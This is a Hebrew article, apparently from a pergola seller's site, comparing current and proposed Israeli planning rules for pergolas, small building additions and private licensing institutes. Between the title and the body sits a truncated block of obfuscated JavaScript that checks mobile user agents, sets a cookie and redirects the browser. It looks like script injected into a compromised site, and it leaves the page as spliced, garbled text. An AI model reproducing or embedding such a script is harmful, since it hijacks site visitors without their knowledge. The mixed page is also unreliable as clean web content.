בניית פרגולה – תיקוני החקיקה בתחום התכנון והבניה

\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

בתקופה האחרונה נראה כי הכל עובר מהפיכה, או לפחות שינוי. חלק גדול מהשינויים במדינה גוררים בחובם זעם רב מצד התושבים – עליות המחירים הבלתי פוסקות, לדוגמה. חלק אחר של השינויים מתבטא בשינויי רגולציה שנעשים לטובת האזרח הקטן – לפחות כך נאמר לנו.

שינוי כזה הוא הצעת חוק שהפיץ בתחילת חודש יוני השר גדעון סער. המטרה של החוק היא הפחתה משמעותית בריכוזיות הקיימת כיום במערכת התכנון – זאת על מנת לייעל את השירות לאזרחי המדינה. מטרה נוספת היא ליצור אבחנה ברורה בין תוכניות בניה גדולות כמו הקמת שכונות מגורים, לבין תוכניות בניה קטנות של אנשים פרטיים כמו בניית פרגולה בבית.

על מנת שנוכל להבין את המשמעות של החוק ובמה הוא יקל על האזרחים מרגע כניסתו לתוקף, ערכנו עבורכם השוואה במספר נושאים משמעותיים שהחוק נוגע אליהם. בואו נראה מה היה המצב עד היום ומה יאפשר החוק החדש:

אולי יעניין אותך: היתר בניה לפרגולה – מהו ומדוע פרגולה צריכה היתר?

בניית פרגולות

מצב קיים: היום כל מי שמבקש לבנות פרגולה בביתו יודע כי עליו להתכונן לסחבת של חצי שנה לפחות עד קבלת האישור. אם תוסיפו על הזמן הזה את הזמן שבו היה חסר מסמך כלשהו, את ההרכבה של הפרגולה, את החיבור לחשמל או אל תאורת לדים שתספק תאורה מעניינת לפרגולה ושאר עיכובים הכרחיים יותר ופחות, אתם יכולים להתכונן לשנה של המתנה עד שתוכלו לשבת תחת הפרגולה.

לאחר כניסת החוק לתוקף: האזרח לא יצטרך לבקש אישור אלא רק יצטרך להודיע לרשות המקומית כי הוא בונה סוכך או פרגולה חשמלית. אבל – כדי למנוע מצב של חריגות בבניה ותשלום של מס היטל השבחה, ו/או לחילופין למנוע מצב בו הפרגולה לא תהיה תואמת בסוג שלה, בצבע ובחומר למה שמאושר על ידי הרשות המקומית – ייקבעו מראש התנאים הנדרשים לבנייתם של הפרגולות. משמע, כל אזרח המעוניין בפרגולה בחצר ביתו או במרפסת, ידע מראש איזה סוג פרגולה מאושר על ידי הרשות המקומית בה הוא מתגורר.

תוספות בניה

מצב קיים: כיום, מי שיבקש לקבל היתר כדי לסגור את המרפסת בביתו צריך להמתין כשנה לערך – תלוי ברשות המקומית שבה הוא מתגורר. עבור אזרחים רבים זוהי בירוקרטיה מיותרת שרק מקשה על הבקשה לסגור מרפסת או להוסיף מחסן בביתם.

לאחר כניסת החוק לתוקף: מאחר והחוק עדין לא נכנס לתוקף, לא התקבלה עדיין החלטה על איזה גודל של מבנים מדובר. אך, ככל הנראה, מדובר על תוספת של מחסנים בבתים בהם יש חצר, סגירת מרפסות ותוספות לחדרים שהגודל שלהם הוא עד 25 מ"ר. עבור אלה יהיה הליך מקוצר של עד 45 יום לכל היותר.

הקמת מכוני רישוי פרטיים

מצב קיים: כיום, על מנת לקבל היתר בניה על האזרח להביא מספר אישורים ממספר גורמים שונים. משמעות הדבר הוא כי עליו להפסיד ימי עבודה, ולהיגרר בין כל הרשויות השונות (פיקוד העורף, כיבוי אש ועוד..) על מנת שאלה תחתומנה לו על ההיתר.

לאחר כניסת החוק לתוקף: שינוי זה הוא בין השינויים החשובים והמשמעותיים ביותר ברפורמה. השינוי מדבר על העברת הסמכות לאישור ההליך וקבלת ההיתר אל מכונים פרטיים חיצוניים. הכוונה כאן היא להעסיק אנשי מקצוע מתחומי הבניה, האדריכלות וההנדסה. אלה יהוו את הסמכות המקצועית לקבלת ההיתר לאחר שהרשות המקומית תאשר אותן. אותם אנשי מקצוע יבדקו את ההתאמה בין התוכניות לבין דרישות הרשות המקומית. בנוסף, תחת המכונים הפרטיים יהיו בקרים מגורמים שונים כגון פיקוד העורף, כיבוי אש, משרד הבריאות וחברת החשמל, והם יחסכו לאזרח את הצורך לגשת לכל הרשויות השונות על מנת שהם יתנו לו מאת ההיתר. הכל יעשה תחת קורת גג אחת.

לסיכום

קיימים עוד שינויים שנכללים תחת החוק החדש. בשורה התחתונה, המטרה היא לייעל תהליכים ולקצר אותם לרווחת התושבים. כעת כל שניתן לעשות הוא להמתין שהחוק יעבור.